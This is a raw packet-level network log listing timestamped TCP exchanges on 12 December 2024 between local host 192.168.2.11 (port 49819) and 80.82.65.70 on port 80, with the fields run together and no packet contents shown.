                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.349940062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.349940062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.350001097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.350040913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.350106001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.350812912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.350902081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.350964069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.351592064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.351658106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386188984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386343956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386384010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386445999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386533022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386679888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.386754990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.387310028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.387376070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.387443066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.387518883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388051033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388176918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388201952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388237000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388842106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388912916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.388952971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.389067888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.389621019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.389688015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.389710903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.389801025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.390389919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.390508890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.390569925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.391195059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.391341925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.391372919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.391403913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.391952991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.392158985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.392194033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.392225027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.392738104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.392798901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.392864943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.393043995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.393543005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.393636942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.393672943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.393728018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.394323111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.394381046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.394449949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.394536018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.395103931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.395169020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.395234108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.395286083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.395925999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.395965099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.396053076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.396660089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.396730900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.396801949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.396970034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.397443056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.397573948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.397576094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.397641897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.398299932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.398364067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.398463964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.398559093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.398988008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.399060011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.399096012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.399146080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.399777889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.399887085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.399960041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.400583029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.400619030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.400639057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.400671005 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465003967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465013981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465136051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465193987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465312958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465347052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465415955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465511084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.465708971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.466151953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.466212988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.466304064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.466387987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.466919899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.467015028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.467071056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.467696905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.467816114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.467861891 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.468488932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.468590021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.468646049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.469242096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.469295025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.469326019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.469413042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.470011950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.470144033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.470200062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.470817089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.470880985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.470937967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.471573114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.471628904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.471657038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.471757889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.472393990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.472559929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.472625971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.473208904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.473268032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.473289013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.473417997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.473936081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.474082947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.474142075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.474709988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.474817991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.474833012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.474953890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.475537062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.475645065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.475702047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.476337910 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.476408005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.476464033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.477076054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.477166891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.477225065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.477895021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.478024006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.478080034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.478671074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.478729010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.478779078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.478830099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.479476929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.479579926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.479583025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.479665995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.480247021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.480302095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.480329037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.480381012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.480971098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.481038094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.481070995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.481120110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.481786013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.481832027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.481851101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.482563972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.482583046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.482615948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.482637882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.483324051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.483372927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.483455896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.483530045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.484112978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.484407902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.484456062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.484869003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.484941959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.484977961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.485043049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.485692978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.485800028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.485826969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.485909939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.486495972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.486567020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.486615896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.487287998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.487354994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.487360954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.487453938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.541793108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.541908026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.541943073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.541994095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.542145967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.542222023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.542337894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.542949915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.543054104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.543142080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.543771982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.544358969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.577992916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578072071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578203917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578252077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578330994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578345060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578438044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578705072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578819990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.578874111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.579473972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.579585075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.579967976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.580352068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.580414057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.580446959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.580513954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581005096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581125021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581176996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581796885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581868887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581908941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.581964016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.582591057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.582741976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.582971096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.583069086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.583463907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.583542109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.583571911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.583647013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.584167957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.584225893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.584290028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.584367037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.584942102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.584949970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.585001945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.585835934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.585885048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.585892916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.585995913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.586546898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.586597919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.586702108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.586817980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.587272882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.587341070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.587368965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.587446928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.588145018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.588222980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.588289022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.588850975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.588927031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.589653969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.589740992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.589802027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.590437889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.590442896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.590493917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.591372967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.591422081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.591506958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.591557980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.592149019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.592187881 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.592242956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.592772961 CET804981980.82.65.70192.168.2.11
